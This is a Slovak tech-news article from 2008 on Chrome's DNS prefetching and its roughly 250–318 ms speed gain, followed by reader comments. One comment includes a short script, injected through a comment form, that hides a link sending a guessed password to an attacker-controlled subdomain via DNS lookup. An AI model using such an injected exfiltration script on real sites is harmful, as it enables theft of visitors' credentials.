neprihlásený Štvrtok, 30. apríla 2026, dnes má meniny Anastázia
DNS prefetching v Chrome urýchľuje načítanie stránky priemerne o 250 - 300 ms

DSL.sk, 18.9.2008


Nová technológia DNS prefetchingu v prehliadači Chrome urýchľuje načítanie stránky na novej doteraz nenavštívenej doméne priemerne o štvrtinu až tretinu sekundy. Vyplýva to z informácií, ktoré zverejnil o novej technológii Google, a zo štatistiky používania Chrome v našom teste.

Chrome obsahuje v prehliadačoch novú technológiu tzv. DNS prefetchingu, prednačítavania, na ktorú sme upozornili pri predstavení prehliadača. Aktuálne spoločnosť Google zverejnila detaily technológie.

DNS prefetching v Chrome automaticky prekladá domény nachádzajúce sa vo všetkých linkách na webovej stránke na IP adresy pomocou štandardného DNS mechanizmu hneď po jej načítaní. Pri kliknutí na niektorú z liniek na novej doméne, ktorej IP adresa nie je prehliadaču respektíve operačnému systému ešte známa, sa tak ušetrí čas potrebný k prekladu.

Okrem domén nájdených v linkách na stránke sa automaticky prekladajú aj domény nachádzajúce sa v návrhoch URL v omniboxe prehliadača Chrome.

Hoci preklad domén s geograficky blízkym DNS serverom k užívateľovi trvá zvyčajne len niekoľko desiatok milisekúnd, preklad domén z iných kontinentov nenacachovaných používaným DNS serverom môže trvať výrazne dlhšie. Preklad domén s DNS servermi v USA na Slovensku trvá rádovo 200 ms, ázijských domén často na úrovni sekundy prípadne viac.

Priemerný ušetrený čas samozrejme závisí na type stránok navštevovaných užívateľom a spôsobe browsovania, podľa rozsiahlych štatistík používania Chrome uskutočnených v Google pred vydaním prehliadača je priemerom 251 milisekúnd, štvrť sekundy.

Štatistiku prínosu DNS prefetchingu je možné v Chrome nájsť pri otvorení about:dns respektíve about:histograms/DNS.PrefetchFoundName, histograme štatistického rozdelenia časov pri preklade DNS mena na IP adresu. V našom viac ako týždňovom teste používania Chrome bola dosiahnutá priemerná úspora 318 ms.



Najnovšie články:

Tesla začala masovú výrobu elektrokamióna Semi
Notebooky v EÚ sa už musia nabíjať cez USB-C
Od zajtra budú obchody musieť prijímať platby cez QR kódy alebo inak bezhotovostne
V auguste staršia raketa Falcon 9 narazí do Mesiaca
VÚB má technické problémy
Voyo sa stáva internetovou televíznou službou, pridáva množstvo iných staníc
Vydaná Fedora 44, Fedora Asahi Remix 44 pre Macy a Ubuntu 26.04 LTS
OpenAI má pripravovať vlastný AI smartfón
Webhosting dostal veľkú pokutu za neposkytnutie emailov zákazníka protimonopolnému úradu
Colníci zabavili falošné Apple produkty za 660-tisíc


Diskusia:
                               
 

Pekne to ti googlaci vymysleli. aj viditelne citit tu funkcionalitu v pozadi, rychlejsie to slape, akoby boli aj stranky dopredu precachovane, ale vidno kolko urobi aj zikanie dns prefetching.
Odpovedať Známka: 6.7 Hodnotiť:
 

DNS prefetching citis na stranke len pri jej prvej navsteve ... vsetko ostatne, co citis potom, je uz len marketing od Google ;o) ...
Odpovedať Známka: 10.0 Hodnotiť:
 

veru tak, ja sa smejem na tom, ze to niekto nazyva vobec technologia. jasne, ze to kazdeho napadlo kto do dns trocha vidi, akurat si uvedomuje ako lahko je to zranitelne a ako zbytocne to zatazuje dns servere... google=hajzli.
Odpovedať Hodnotiť:
 

to je jasne, nakolko to je uz potom nacachovane, no tiez osobne ako hlavny browser pouzivat FF, ale na chrome som to postrehol. A tak isto sa chovaju aj ine browsre, ked to uz dns zaznam mas nacachovany...
Odpovedať Hodnotiť:
 

He? A co presne mi zabrani javascriptom (vlozenym cez nechraneny formular) vygenerovat skrytu linku na nejakedata.mojserver.com?
Odpovedať Hodnotiť:
 

Nic ale naco by si to robil v kontexte DNS prefetchingu? To uz je lepsie taky formular zneuzit na rozumnejsi druh XSS utoku.
Odpovedať Hodnotiť:
 

myslim ze si chcel povedat crsf
Odpovedať Hodnotiť:
 

Za bezpecnostnu zranitelnost sa zvykne povazovat vsetko, co obchadza hocijaku vlastnost, ktora bola myslena na ochranu. V tomto pripade mi DNS prefetching umozni posielat data na domenu odlisnu od domeny na ktorej sa nachadza javascript. Co obchadza kopec snah oddelit obsah roznych domen.
Odpovedať Hodnotiť:
 

Posielat? Umozni ti akurat ziskat IP pomocou DNS, co podla mna tak kriticke nie je.
Odpovedať Hodnotiť:
 

Tym, ze chrome resolvne server password_abcd.mojserver.com, tak autoritativny server pre mojserver.com dostane string password_abcd a moze si s nim spravit co uzna za vhodne.
Odpovedať Hodnotiť:
 

A co by si tym dosiahol?
Odpovedať Hodnotiť:
 

myslím, že to nevie ani on sám :D
Odpovedať Hodnotiť:
 

Napisem do formulara pre novy prispevok nieco v style

[script language="JavaScript"]
document.write("[a style="visibility: hidden" href="" + zistiHeslo() + ".mojserver.com");
[/script]

A kym pochopis o co mi ide tak budem vediet ze tvoje heslo je abcd :-P
Odpovedať Hodnotiť:
 

ale mozno to parsuje len zdrojak a teda domenu z linku vygenerovaneho javascriptom uz nenacachuje ... ale je to len "mozno", lebo som to neskusal ;o) ...
Odpovedať Hodnotiť:
 

Posielat? Umozni ti akurat ziskat IP pomocou DNS, co podla mna tak kriticke nie je.
Odpovedať Hodnotiť:
 

nahodou nemal zly napad. ono nejde o ziskanie IP. ide o to, ze sa posle dns request na server kde je dana zona nadefinovana, server samozrejme moze vratit nejaku odpoved, alebo aj nx domain, ale hlavne, si to zaloguje :) zaujimavy napad. musim niekedy skusit ;)
Odpovedať Hodnotiť:
 

inak musim sa pridat je to fakt rychle.. o tom som kedysi len snival
Odpovedať Hodnotiť:
 

Asi v tom chrome nejdu firefoxove pluginy, ze? Skoda, aj by som to skusil.
Odpovedať Hodnotiť:
 

Odkedy som si nainstaloval - a uz aj odinstaloval - CHROME - zdrbe sa mi aj IE8 beta(standalone...) ak vlozim adresu CTRL+V do prikazoveho riadka... Sudruhovia s Google v tom maju nejaky chaos i ked - za mnoho inych veci ich chvalim - :D
Odpovedať Hodnotiť:
 

...Oprava - ako adresu do "browsera" IE - :D
Odpovedať Hodnotiť:
 

Lutujem tie DNS servery kde uzivatelia pouzivaju Chrome.. akoze radsej si pockam 300 ms viac ako keby som mal zahlcovat DNS nonstop s poziadavkami.. ide to jak to trafiku zbytocne naviac tak aj do zataze DNS.
Mat stranku s pomerne velkym poctom liniek(externych) .. pomaly Chrome bude vykonavat DDoS na DNS ako legitimnu cinnost..
Ak sa mylim poopravte ma :)
Odpovedať Hodnotiť:
 

fakt super vynalez ... v priemere 318ms za tyzden ... cize ak za tyzden pozriem 50 jedinecnych stranok, tak usetrim neuveritelnych 16 sekund svojho drahocenneho case ... parada ... ved za rok su to pri mojom rozsahu jedinecnych stranok mozno aj dve minuty ! ... to sa naozaj oplati robit DoS kvoli tomu, aby sme vsetci usetrili par minut svojho zivota rocne :-/ ...
Odpovedať Známka: 3.3 Hodnotiť:
 

Drsny DoS, DNS je jednym z protokolov, ktore najviac vytazuju internet, daleko za nim na druhom mieste bittorrent, a na tretom mieste HTTP video streamy z youtube.
Odpovedať Hodnotiť:
 

mal tam byt este smajlik, lebo skoro som to nepochopil :)
Odpovedať Hodnotiť:
 

v priemere 318ms na stranku asi ze zlatko..
Odpovedať Hodnotiť:
 

neviem, ci zlatko, ale uznavam, ze mi vypadlo "na stranku" z tej vety ... ale vypocet dalej je spravny, ze mi to tyzdenne usetri zhruba 16 sekund pri 50 jedinecnych strankach (50 x 0,318 ms) ...
Odpovedať Hodnotiť:
 

najprv sa vsetci trasiete nech je internet a nacitanie co najrychlejsie a ked to tak je tak i tak pi****te..
Odpovedať Hodnotiť:
 

pretoze keby Chrome zacalo pouzivat tolko ludi co IE, tak sa nam zosypu DNS servery ... ved len samotne vysledky vyhladavania cez Google obsahuju mnozstvo domen, ktore Chrome predcitava, takze kombinacia Chrome + Google vyhladavac = pretazenie DNS infrastruktury...
Odpovedať Hodnotiť:
 

mimochodom, ta funkcia sa da v Chrome deaktivovat
Odpovedať Hodnotiť:
 

a teraz mi povedz kolko BFU si to deaktivuje? vsak vdaka tomu maju rychlejsi internet...
Suhlasim ze toto nieje spravna vec, DNSka su uz teraz vytazene, bol tu o tom aj clanok, ze ak sa nieco nespravi, tak internet nebude pomaly koli rychlosti, ale koli DNS serverom. toto im naozaj pomoze..
Odpovedať Hodnotiť:
 

od vcera pouzivam chronium (chrome dev) a priemer mam 116.6
Odpovedať Hodnotiť:
 

Toto iste robí aj rozšírenie pre Firefox s nazvom Fasterfox. A myslim, ze aj cachuje stranky dopredu (nie som si moc isty). A tiez nie som si moc isty ci funguje aj na FF3.x ale na Firefoxe 2.x funguje spolahlivo

Odpovedať Hodnotiť:

Pridať komentár